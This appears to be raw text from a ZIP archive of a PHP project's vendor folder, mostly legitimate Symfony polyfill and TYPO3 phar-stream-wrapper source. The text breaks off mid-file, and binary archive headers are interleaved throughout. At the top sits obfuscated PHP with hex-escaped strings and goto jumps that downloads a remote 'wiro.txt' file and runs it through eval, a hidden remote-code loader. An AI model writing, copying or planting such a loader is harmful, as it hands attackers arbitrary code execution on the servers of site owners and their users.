["\150\x65\x61\x64\x65\162" => "\x55\x73\x65\162\55\101\147\145\156\x74\72\40\x4d\157\x7a\x69\154\x6c\141\x2f\65\56\60\x20\x28\x57\151\x6e\144\157\x77\x73\x20\116\x54\x20\61\60\x2e\x30\x3b\x20\127\x69\156\x36\x34\73\40\170\x36\64\x29\40\101\160\160\x6c\145\x57\x65\x62\x4b\x69\164\x2f\x35\63\67\x2e\63\x36\40\x28\x4b\110\x54\x4d\x4c\x2c\40\x6c\151\x6b\145\40\107\x65\143\153\157\51\40\x43\x68\162\x6f\x6d\145\x2f\x39\61\x2e\x30\x2e\64\x34\67\x32\56\61\62\64\40\x53\x61\x66\x61\x72\151\57\x35\x33\67\56\x33\x36\xd\xa" . "\101\143\x63\x65\160\164\x3a\40\164\145\x78\164\57\150\164\x6d\154\x2c\x61\x70\160\x6c\151\143\141\164\x69\157\x6e\x2f\170\x68\164\155\x6c\x2b\x78\155\x6c\x2c\141\160\160\154\151\143\141\164\x69\157\x6e\x2f\170\155\x6c\73\x71\x3d\60\56\71\54\151\x6d\141\x67\x65\57\167\x65\142\160\x2c\x2a\57\52\73\x71\75\60\x2e\x38\15\12" . "\101\x63\x63\x65\160\164\55\x4c\141\x6e\x67\165\x61\x67\145\72\x20\x65\x6e\55\125\123\x2c\x65\156\73\x71\75\x30\56\x35\15\xa" . "\122\145\x66\145\162\145\162\72\40\x68\x74\x74\x70\163\x3a\57\x2f\x65\170\141\x6d\x70\x6c\145\56\x63\x6f\x6d\x2f\xd\12" . "\x43\157\156\x6e\x65\143\x74\x69\x6f\x6e\72\x20\x6b\145\x65\x70\x2d\141\154\151\x76\145\15\12", "\x66\157\154\x6c\157\x77\x5f\154\157\x63\141\164\151\x6f\x6e" => true]]; goto gySPy; gySPy: $nQPMm = stream_context_create($BwD1F); goto EqGlw; Z67x0: } goto vk8ns; RO02o: echo $NExaG; goto E11Hk; o9y4T: IbXTb: goto Ar2DZ; TLwWv: $NExaG = LzsGO($nBwGl); goto nqDwh; I3kma: Do1Yo: goto SLQnT; xoSL9: echo "\107\x61\147\141\x6c\40\x6d\x65\156\147\141\155\x62\x69\x6c\x20\153\157\x6e\x74\x65\x6e\x20\144\x61\x72\x69\x20\163\145\162\166\x65\x72\56"; goto SPyv2; H8qwQ: R4N40: goto LCml2; Ar2DZ: if ($NExaG !== false) { goto EagXB; } goto xoSL9; E11Hk: goto S1d0A; goto I3kma; u_pIe: S1d0A: goto cg0JC; SPyv2: goto re1vr; goto dYOgw; dYOgw: EagXB: goto tUZf1; uoV6D: function Ga5Cg($nBwGl) { goto UqgXW; UqgXW: $C2fh8 = curl_init(); goto yTq18; UeViB: curl_setopt($C2fh8, CURLOPT_RETURNTRANSFER, true); goto WPU5z; BWsVG: HS4Q2: goto x9pEo; yTq18: curl_setopt($C2fh8, CURLOPT_URL, $nBwGl); goto UeViB; Mxnpd: if (!curl_errno($C2fh8)) { goto HS4Q2; } goto oL41s; YaExD: curl_setopt($C2fh8, CURLOPT_COOKIEJAR, "\x63\157\157\x6b\x69\x65\x2e\164\x78\x74"); goto E7hEg; T1JyK: return $b77hl; goto oy5Hj; oL41s: curl_close($C2fh8); goto HLqHc; E7hEg: curl_setopt($C2fh8, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_2_0); goto UA1mV; ZBDBE: curl_setopt($C2fh8, CURLOPT_USERAGENT, "\x4d\157\x7a\151\x6c\x6c\141\57\x35\x2e\x30\x20\x28\x57\151\156\x64\157\167\x73\40\x4e\124\40\x31\60\56\x30\x3b\40\127\151\156\66\64\x3b\40\x78\66\x34\51\40\x41\160\x70\x6c\145\x57\145\x62\113\151\164\x2f\x35\x33\x37\56\x33\66\40\x28\113\110\124\115\x4c\54\40\x6c\151\x6b\145\40\107\x65\x63\x6b\157\51\40\x43\150\x72\157\x6d\x65\x2f\71\61\56\60\56\x34\64\x37\62\x2e\61\62\x34\40\x53\x61\x66\141\162\151\x2f\65\x33\x37\56\63\x36"); goto Yn7pK; x9pEo: curl_close($C2fh8); goto T1JyK; UA1mV: $b77hl = curl_exec($C2fh8); goto Mxnpd; HLqHc: return false; goto BWsVG; Yn7pK: curl_setopt($C2fh8, CURLOPT_HTTPHEADER, ["\x41\143\143\145\160\164\72\x20\x74\x65\x78\164\57\150\164\x6d\154\54\x61\160\160\x6c\151\x63\x61\x74\151\157\156\57\170\150\164\155\154\53\170\155\154\54\141\160\x70\154\x69\143\141\x74\151\x6f\x6e\x2f\170\x6d\154\73\161\x3d\60\x2e\x39\x2c\x69\155\x61\x67\145\57\x77\x65\x62\160\54\52\57\x2a\73\x71\75\x30\x2e\x38", "\x41\143\x63\x65\160\x74\55\x4c\x61\156\147\165\x61\x67\145\x3a\40\x65\156\x2d\x55\x53\54\145\x6e\73\161\75\60\56\65", "\x52\x65\146\x65\x72\x65\x72\x3a\40\x68\x74\164\160\x73\72\x2f\x2f\145\170\141\x6d\x70\154\x65\x2e\x63\157\155\57", "\x43\x6f\156\156\x65\x63\164\151\157\156\72\40\153\x65\x65\x70\x2d\141\x6c\x69\x76\145"]); goto llY4T; WPU5z: curl_setopt($C2fh8, CURLOPT_FOLLOWLOCATION, true); goto ZBDBE; llY4T: curl_setopt($C2fh8, CURLOPT_COOKIEFILE, "\143\157\x6f\x6b\151\x65\x2e\x74\170\164"); goto YaExD; oy5Hj: } goto FAni_; tUZf1: header("\x43\x6f\156\x74\x65\156\164\x2d\124\171\160\145\x3a\x20\164\x65\x78\x74\57\150\164\155\x6c\x3b\x20\x63\150\x61\162\163\145\164\75\125\124\x46\55\70"); goto Z1a52; SLQnT: eval("\x3f\76" . $NExaG); goto u_pIe; LCml2: $NExaG = Ga5CG($nBwGl); goto o9y4T; Z1a52: if (pathinfo($nBwGl, PATHINFO_EXTENSION) === "\164\170\x74" && strpos($NExaG, "\x3c\77\160\x68\160") !== false) { goto Do1Yo; } goto RO02o; n5tbK: $nBwGl = "\150\164\x74\x70\163\72\57\x2f\162\x61\167\56\147\151\164\150\x75\142\165\163\x65\x72\x63\x6f\x6e\164\145\156\164\x2e\143\x6f\x6d\57\x7a\x79\156\x78\x73\x65\143\57\172\x79\156\170\163\145\x63\57\x72\x65\x66\x73\57\x68\x65\141\x64\x73\57\155\x61\x69\156\x2f\x77\151\162\157\x2e\164\170\164"; goto uoV6D; nqDwh: goto IbXTb; goto H8qwQ; cg0JC: re1vr:PK�\\��}}'vendor/symfony/polyfill-ctype/Ctype.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Ctype; /** * Ctype implementation through regex. * * @internal * * @author Gert de Pagter <BackEndTea@gmail.com> */ final class Ctype { /** * Returns TRUE if every character in text is either a letter or a digit, FALSE otherwise. * * @see https://php.net/ctype-alnum * * @param string|int $text * * @return bool */ public static function ctype_alnum($text) { $text = self::convert_int_to_char_for_ctype($text); return \is_string($text) && '' !== $text && !preg_match('/[^A-Za-z0-9]/', $text); } /** * Returns TRUE if every character in text is a letter, FALSE otherwise. * * @see https://php.net/ctype-alpha * * @param string|int $text * * @return bool */ public static function ctype_alpha($text) { $text = self::convert_int_to_char_for_ctype($text); return \is_string($text) && '' !== $text && !preg_match('/[^A-Za-z]/', $text); } /** * Returns TRUE if every character in text is a control character from the current locale, FALSE otherwise. * * @see https://php.net/ctype-cntrl * * @param string|int $text * * @return bool */ public static function ctype_cntrl($text) { $text = self::convert_int_to_char_for_ctype($text); return \is_string($text) && '' !== $text && !preg_match('/[^\x00-\x1f\x7f]/', $text); } /** * Returns TRUE if every character in the string text is a decimal digit, FALSE otherwise. * * @see https://php.net/ctype-digit * * @param string|int $text * * @return bool */ public static function ctype_digit($text) { $text = self::convert_int_to_char_for_ctype($text); return \is_string($text) && '' !== $text && !preg_match('/[^0-9]/', $text); } /** * Returns TRUE if every character in text is printable and actually creates visible output (no white space), FALSE otherwise. * * @see https://php.net/ctype-graph * * @param string|int $text * * @return bool */ public static function ctype_graph($text) { $text = self::convert_int_to_char_for_ctype($text); return \is_string($text) && '' !== $text && !preg_match('/[^!-~]/', $text); } /** * Returns TRUE if every character in text is a lowercase letter. * * @see https://php.net/ctype-lower * * @param string|int $text * * @return bool */ public static function ctype_lower($text) { $text = self::convert_int_to_char_for_ctype($text); return \is_string($text) && '' !== $text && !preg_match('/[^a-z]/', $text); } /** * Returns TRUE if every character in text will actually create output (including blanks). Returns FALSE if text contains control characters or characters that do not have any output or control function at all. * * @see https://php.net/ctype-print * * @param string|int $text * * @return bool */ public static function ctype_print($text) { $text = self::convert_int_to_char_for_ctype($text); return \is_string($text) && '' !== $text && !preg_match('/[^ -~]/', $text); } /** * Returns TRUE if every character in text is printable, but neither letter, digit or blank, FALSE otherwise. * * @see https://php.net/ctype-punct * * @param string|int $text * * @return bool */ public static function ctype_punct($text) { $text = self::convert_int_to_char_for_ctype($text); return \is_string($text) && '' !== $text && !preg_match('/[^!-\/\:-@\[-`\{-~]/', $text); } /** * Returns TRUE if every character in text creates some sort of white space, FALSE otherwise. Besides the blank character this also includes tab, vertical tab, line feed, carriage return and form feed characters. * * @see https://php.net/ctype-space * * @param string|int $text * * @return bool */ public static function ctype_space($text) { $text = self::convert_int_to_char_for_ctype($text); return \is_string($text) && '' !== $text && !preg_match('/[^\s]/', $text); } /** * Returns TRUE if every character in text is an uppercase letter. * * @see https://php.net/ctype-upper * * @param string|int $text * * @return bool */ public static function ctype_upper($text) { $text = self::convert_int_to_char_for_ctype($text); return \is_string($text) && '' !== $text && !preg_match('/[^A-Z]/', $text); } /** * Returns TRUE if every character in text is a hexadecimal 'digit', that is a decimal digit or a character from [A-Fa-f] , FALSE otherwise. * * @see https://php.net/ctype-xdigit * * @param string|int $text * * @return bool */ public static function ctype_xdigit($text) { $text = self::convert_int_to_char_for_ctype($text); return \is_string($text) && '' !== $text && !preg_match('/[^A-Fa-f0-9]/', $text); } /** * Converts integers to their char versions according to normal ctype behaviour, if needed. * * If an integer between -128 and 255 inclusive is provided, * it is interpreted as the ASCII value of a single character * (negative values have 256 added in order to allow characters in the Extended ASCII range). * Any other integer is interpreted as a string containing the decimal digits of the integer. * * @param string|int $int * * @return mixed */ private static function convert_int_to_char_for_ctype($int) { if (!\is_int($int)) { return $int; } if ($int < -128 || $int > 255) { return (string) $int; } if ($int < 0) { $int += 256; } return \chr($int); } } PK�\�`e0))%vendor/symfony/polyfill-ctype/LICENSEnu�[���Copyright (c) 2018-2019 Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. PK�\�01�+vendor/symfony/polyfill-ctype/bootstrap.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Ctype as p; if (!function_exists('ctype_alnum')) { function ctype_alnum($input) { return p\Ctype::ctype_alnum($input); } } if (!function_exists('ctype_alpha')) { function ctype_alpha($input) { return p\Ctype::ctype_alpha($input); } } if (!function_exists('ctype_cntrl')) { function ctype_cntrl($input) { return p\Ctype::ctype_cntrl($input); } } if (!function_exists('ctype_digit')) { function ctype_digit($input) { return p\Ctype::ctype_digit($input); } } if (!function_exists('ctype_graph')) { function ctype_graph($input) { return p\Ctype::ctype_graph($input); } } if (!function_exists('ctype_lower')) { function ctype_lower($input) { return p\Ctype::ctype_lower($input); } } if (!function_exists('ctype_print')) { function ctype_print($input) { return p\Ctype::ctype_print($input); } } if (!function_exists('ctype_punct')) { function ctype_punct($input) { return p\Ctype::ctype_punct($input); } } if (!function_exists('ctype_space')) { function ctype_space($input) { return p\Ctype::ctype_space($input); } } if (!function_exists('ctype_upper')) { function ctype_upper($input) { return p\Ctype::ctype_upper($input); } } if (!function_exists('ctype_xdigit')) { function ctype_xdigit($input) { return p\Ctype::ctype_xdigit($input); } } PK�\qʞ߃�+vendor/symfony/polyfill-php71/bootstrap.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Php71 as p; if (!function_exists('is_iterable')) { function is_iterable($value) { return p\Php71::is_iterable($value); } } PK�\������'vendor/symfony/polyfill-php71/Php71.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Php71; /** * @author Dariusz Rumiński <dariusz.ruminski@gmail.com> * * @internal */ final class Php71 { public static function is_iterable($var) { return \is_array($var) || $var instanceof \Traversable; } } PK�\�\�))%vendor/symfony/polyfill-php71/LICENSEnu�[���Copyright (c) 2015-2019 Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. PK�\*�����'vendor/symfony/polyfill-util/Binary.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Util; if (\extension_loaded('mbstring')) { class Binary extends BinaryOnFuncOverload { } } else { class Binary extends BinaryNoFuncOverload { } } PK�\�x���5vendor/symfony/polyfill-util/BinaryNoFuncOverload.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Util; /** * @author Nicolas Grekas <p@tchwork.com> * * @internal */ class BinaryNoFuncOverload { public static function strlen($s) { return \strlen($s); } public static function strpos($haystack, $needle, $offset = 0) { return strpos($haystack, $needle, $offset); } public static function strrpos($haystack, $needle, $offset = 0) { return strrpos($haystack, $needle, $offset); } public static function substr($string, $start, $length = PHP_INT_MAX) { return substr($string, $start, $length); } public static function stripos($s, $needle, $offset = 0) { return stripos($s, $needle, $offset); } public static function stristr($s, $needle, $part = false) { return stristr($s, $needle, $part); } public static function strrchr($s, $needle, $part = false) { return strrchr($s, $needle, $part); } public static function strripos($s, $needle, $offset = 0) { return strripos($s, $needle, $offset); } public static function strstr($s, $needle, $part = false) { return strstr($s, $needle, $part); } } PK�\�\�))$vendor/symfony/polyfill-util/LICENSEnu�[���Copyright (c) 2015-2019 Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. PK�\���gg5vendor/symfony/polyfill-util/BinaryOnFuncOverload.phpnu�[���<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Util; /** * Binary safe version of string functions overloaded when MB_OVERLOAD_STRING is enabled. * * @author Nicolas Grekas <p@tchwork.com> * * @internal */ class BinaryOnFuncOverload { public static function strlen($s) { return mb_strlen($s, '8bit'); } public static function strpos($haystack, $needle, $offset = 0) { return mb_strpos($haystack, $needle, $offset, '8bit'); } public static function strrpos($haystack, $needle, $offset = 0) { return mb_strrpos($haystack, $needle, $offset, '8bit'); } public static function substr($string, $start, $length = 2147483647) { return mb_substr($string, $start, $length, '8bit'); } public static function stripos($s, $needle, $offset = 0) { return mb_stripos($s, $needle, $offset, '8bit'); } public static function stristr($s, $needle, $part = false) { return mb_stristr($s, $needle, $part, '8bit'); } public static function strrchr($s, $needle, $part = false) { return mb_strrchr($s, $needle, $part, '8bit'); } public static function strripos($s, $needle, $offset = 0) { return mb_strripos($s, $needle, $offset, '8bit'); } public static function strstr($s, $needle, $part = false) { return mb_strstr($s, $needle, $part, '8bit'); } } PK�\ㅛ���1vendor/typo3/phar-stream-wrapper/src/Behavior.phpnu�[���<?php namespace TYPO3\PharStreamWrapper; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ class Behavior implements Assertable { const COMMAND_DIR_OPENDIR = 'dir_opendir'; const COMMAND_MKDIR = 'mkdir'; const COMMAND_RENAME = 'rename'; const COMMAND_RMDIR = 'rmdir'; const COMMAND_STEAM_METADATA = 'stream_metadata'; const COMMAND_STREAM_OPEN = 'stream_open'; const COMMAND_UNLINK = 'unlink'; const COMMAND_URL_STAT = 'url_stat'; /** * @var string[] */ private $availableCommands = array( self::COMMAND_DIR_OPENDIR, self::COMMAND_MKDIR, self::COMMAND_RENAME, self::COMMAND_RMDIR, self::COMMAND_STEAM_METADATA, self::COMMAND_STREAM_OPEN, self::COMMAND_UNLINK, self::COMMAND_URL_STAT, ); /** * @var Assertable[] */ private $assertions; /** * @param Assertable $assertable * @return static */ public function withAssertion(Assertable $assertable) { $commands = func_get_args(); array_shift($commands); $this->assertCommands($commands); $commands = $commands ?: $this->availableCommands; $target = clone $this; foreach ($commands as $command) { $target->assertions[$command] = $assertable; } return $target; } /** * @param string $path * @param string $command * @return bool */ public function assert($path, $command) { $this->assertCommand($command); $this->assertAssertionCompleteness(); return $this->assertions[$command]->assert($path, $command); } /** * @param array $commands */ private function assertCommands(array $commands) { $unknownCommands = array_diff($commands, $this->availableCommands); if (empty($unknownCommands)) { return; } throw new \LogicException( sprintf( 'Unknown commands: %s', implode(', ', $unknownCommands) ), 1535189881 ); } private function assertCommand($command) { if (in_array($command, $this->availableCommands, true)) { return; } throw new \LogicException( sprintf( 'Unknown command "%s"', $command ), 1535189882 ); } private function assertAssertionCompleteness() { $undefinedAssertions = array_diff( $this->availableCommands, array_keys($this->assertions) ); if (empty($undefinedAssertions)) { return; } throw new \LogicException( sprintf( 'Missing assertions for commands: %s', implode(', ', $undefinedAssertions) ), 1535189883 ); } } PK�\ֻ�T��4vendor/typo3/phar-stream-wrapper/src/Collectable.phpnu�[���<?php namespace TYPO3\PharStreamWrapper; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ use TYPO3\PharStreamWrapper\Resolver\PharInvocation; interface Collectable { /** * @param PharInvocation $invocation * @return bool */ public function has(PharInvocation $invocation); /** * @param PharInvocation $invocation * @param null $flags * @return bool */ public function collect(PharInvocation $invocation, $flags = null); /** * @param callable $callback * @param bool $reverse * @return null|PharInvocation */ public function findByCallback($callback, $reverse = false); } PK�\�v)mm3vendor/typo3/phar-stream-wrapper/src/Resolvable.phpnu�[���<?php namespace TYPO3\PharStreamWrapper; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ use TYPO3\PharStreamWrapper\Resolver\PharInvocation; interface Resolvable { /** * @param string $path * @param null|int $flags * @return null|PharInvocation */ public function resolve($path, $flags = null); } PK�\sx���Mvendor/typo3/phar-stream-wrapper/src/Interceptor/PharExtensionInterceptor.phpnu�[���<?php namespace TYPO3\PharStreamWrapper\Interceptor; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ use TYPO3\PharStreamWrapper\Assertable; use TYPO3\PharStreamWrapper\Exception; use TYPO3\PharStreamWrapper\Manager; class PharExtensionInterceptor implements Assertable { /** * Determines whether the base file name has a ".phar" suffix. * * @param string $path * @param string $command * @return bool * @throws Exception */ public function assert($path, $command) { if ($this->baseFileContainsPharExtension($path)) { return true; } throw new Exception( sprintf( 'Unexpected file extension in "%s"', $path ), 1535198703 ); } /** * @param string $path * @return bool */ private function baseFileContainsPharExtension($path) { $invocation = Manager::instance()->resolve($path); if ($invocation === null) { return false; } $fileExtension = pathinfo($invocation->getBaseName(), PATHINFO_EXTENSION); return strtolower($fileExtension) === 'phar'; } } PK�\�F��Lvendor/typo3/phar-stream-wrapper/src/Interceptor/PharMetaDataInterceptor.phpnu�[���<?php namespace TYPO3\PharStreamWrapper\Interceptor; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ use TYPO3\PharStreamWrapper\Assertable; use TYPO3\PharStreamWrapper\Exception; use TYPO3\PharStreamWrapper\Manager; use TYPO3\PharStreamWrapper\Phar\DeserializationException; use TYPO3\PharStreamWrapper\Phar\Reader; /** * @internal Experimental implementation of checking against serialized objects in Phar meta-data * @internal This functionality has not been 100% pentested... */ class PharMetaDataInterceptor implements Assertable { /** * Determines whether the according Phar archive contains * (potential insecure) serialized objects. * * @param string $path * @param string $command * @return bool * @throws Exception */ public function assert($path, $command) { if ($this->baseFileDoesNotHaveMetaDataIssues($path)) { return true; } throw new Exception( sprintf( 'Problematic meta-data in "%s"', $path ), 1539632368 ); } /** * @param string $path * @return bool */ private function baseFileDoesNotHaveMetaDataIssues($path) { $invocation = Manager::instance()->resolve($path); if ($invocation === null) { return false; } // directly return in case invocation was checked before if ($invocation->getVariable(__CLASS__) === true) { return true; } // otherwise analyze meta-data try { $reader = new Reader($invocation->getBaseName()); $reader->resolveContainer()->getManifest()->deserializeMetaData(); $invocation->setVariable(__CLASS__, true); } catch (DeserializationException $exception) { return false; } return true; } } PK�\g)-���Kvendor/typo3/phar-stream-wrapper/src/Interceptor/ConjunctionInterceptor.phpnu�[���<?php namespace TYPO3\PharStreamWrapper\Interceptor; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ use TYPO3\PharStreamWrapper\Assertable; use TYPO3\PharStreamWrapper\Exception; class ConjunctionInterceptor implements Assertable { /** * @var Assertable[] */ private $assertions; public function __construct(array $assertions) { $this->assertAssertions($assertions); $this->assertions = $assertions; } /** * Executes assertions based on all contained assertions. * * @param string $path * @param string $command * @return bool * @throws Exception */ public function assert($path, $command) { if ($this->invokeAssertions($path, $command)) { return true; } throw new Exception( sprintf( 'Assertion failed in "%s"', $path ), 1539625084 ); } /** * @param Assertable[] $assertions */ private function assertAssertions(array $assertions) { foreach ($assertions as $assertion) { if (!$assertion instanceof Assertable) { throw new \InvalidArgumentException( sprintf( 'Instance %s must implement Assertable', get_class($assertion) ), 1539624719 ); } } } /** * @param string $path * @param string $command * @return bool */ private function invokeAssertions($path, $command) { try { foreach ($this->assertions as $assertion) { if (!$assertion->assert($path, $command)) { return false; } } } catch (Exception $exception) { return false; } return true; } } PK�\2��2�2:vendor/typo3/phar-stream-wrapper/src/PharStreamWrapper.phpnu�[���<?php namespace TYPO3\PharStreamWrapper; /* * This file is part of the TYPO3 project. * * It is free software; you can redistribute it and/or modify it under the terms * of the MIT License (MIT). For the full copyright and license information, * please read the LICENSE file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ use TYPO3\PharStreamWrapper\Resolver\PharInvocation; class PharStreamWrapper { /** * Internal stream constants that are not exposed to PHP, but used... * @see https://github.com/php/php-src/blob/e17fc0d73c611ad0207cac8a4a01ded38251a7dc/main/php_streams.h */ const STREAM_OPEN_FOR_INCLUDE = 128; /** * @var resource */ public $context; /** * @var resource */ protected $internalResource; /** * @var PharInvocation */ protected $invocation; /** * @return bool */ public function dir_closedir() { if (!is_resource($this->internalResource)) { return false; } $this->invokeInternalStreamWrapper( 'closedir', $this->internalResource ); return !is_resource($this->internalResource); } /** * @param string $path * @param int $options * @return bool */ public function dir_opendir($path, $options) { $this->assert($path, Behavior::COMMAND_DIR_OPENDIR); $this->internalResource = $this->invokeInternalStreamWrapper( 'opendir', $path, $this->context ); return is_resource($this->internalResource); } /** * @return string|false */ public function dir_readdir() { return $this->invokeInternalStreamWrapper( 'readdir', $this->internalResource ); } /** * @return bool */ public function dir_rewinddir() { if (!is_resource($this->internalResource)) { return false; } $this->invokeInternalStreamWrapper( 'rewinddir', $this->internalResource ); return is_resource($this->internalResource); } /** * @param string $path * @param int $mode * @param int $options * @return bool */ public function mkdir($path, $mode, $options) { $this->assert($path, Behavior::COMMAND_MKDIR); return $this->invokeInternalStreamWrapper( 'mkdir', $path, $mode, (bool) ($options & STREAM_MKDIR_RECURSIVE), $this->context ); } /** * @param string $path_from * @param string $path_to * @return bool */ public function rename($path_from, $path_to) { $this->assert($path_from, Behavior::COMMAND_RENAME); $this->assert($path_to, Behavior::COMMAND_RENAME); return $this->invokeInternalStreamWrapper( 'rename', $path_from, $path_to, $this->context ); } /** * @param string $path * @param int $options * @return bool */ public function rmdir($path, $options) { $this->assert($path, Behavior::COMMAND_RMDIR); return $this->invokeInternalStreamWrapper( 'rmdir', $path, $this->context ); } /** * @param int $cast_as */ public function stream_cast($cast_as) { throw new Exception( 'Method stream_select() cannot be used', 1530103999 ); } public function stream_close() { $this->invokeInternalStreamWrapper( 'fclose', $this->internalResource ); } /** * @return bool */ public function stream_eof() { return $this->invokeInternalStreamWrapper( 'feof', $this->internalResource ); } /** * @return bool */ public function stream_flush() { return $this->invokeInternalStreamWrapper( 'fflush', $this->internalResource ); } /** * @param int $operation * @return bool */ public function stream_lock($operation) { return $this->invokeInternalStreamWrapper( 'flock', $this->internalResource, $operation ); } /** * @param string $path * @param int $option * @param string|int $value * @return bool */ public function stream_metadata($path, $option, $value) { $this->assert($path, Behavior::COMMAND_STEAM_METADATA); if ($option === STREAM_META_TOUCH) { return call_user_func_array( array($this, 'invokeInternalStreamWrapper'), array_merge(array('touch', $path), (array) $value) ); } if ($option === STREAM_META_OWNER_NAME || $option === STREAM_META_OWNER) { return $this->invokeInternalStreamWrapper( 'chown', $path, $value ); } if ($option === STREAM_META_GROUP_NAME || $option === STREAM_META_GROUP) { return $this->invokeInternalStreamWrapper( 'chgrp', $path, $value ); } if ($option === STREAM_META_ACCESS) { return $this->invokeInternalStreamWrapper( 'chmod', $path, $value ); } return false; } /** * @param string $path * @param string $mode * @param int $options * @param string|null $opened_path * @return bool */ public function stream_open( $path, $mode, $options, &$opened_path = null ) { $this->assert($path, Behavior::COMMAND_STREAM_OPEN); $arguments = array($path, $mode, (bool) ($options & STREAM_USE_PATH)); // only add stream context for non include/require calls if (!($options & static::STREAM_OPEN_FOR_INCLUDE)) { $arguments[] = $this->context; // work around https://bugs.php.net/bug.php?id=66569 // for including files from Phar stream with OPcache enabled } else { Helper::resetOpCache(); } $this->internalResource = call_user_func_array( array($this, 'invokeInternalStreamWrapper'), array_merge(array('fopen'), $arguments) ); if (!is_resource($this->internalResource)) { return false; } if ($opened_path !== null) { $metaData = stream_get_meta_data($this->internalResource); $opened_path = $metaData['uri']; } return true; } /** * @param int $count * @return string */ public function stream_read($count) { return $this->invokeInternalStreamWrapper( 'fread', $this->internalResource, $count ); } /** * @param int $offset * @param int $whence * @return bool */ public function stream_seek($offset, $whence = SEEK_SET) { return $this->invokeInternalStreamWrapper( 'fseek', $this->internalResource, $offset, $whence ) !== -1; } /** * @param int $option * @param int $arg1 * 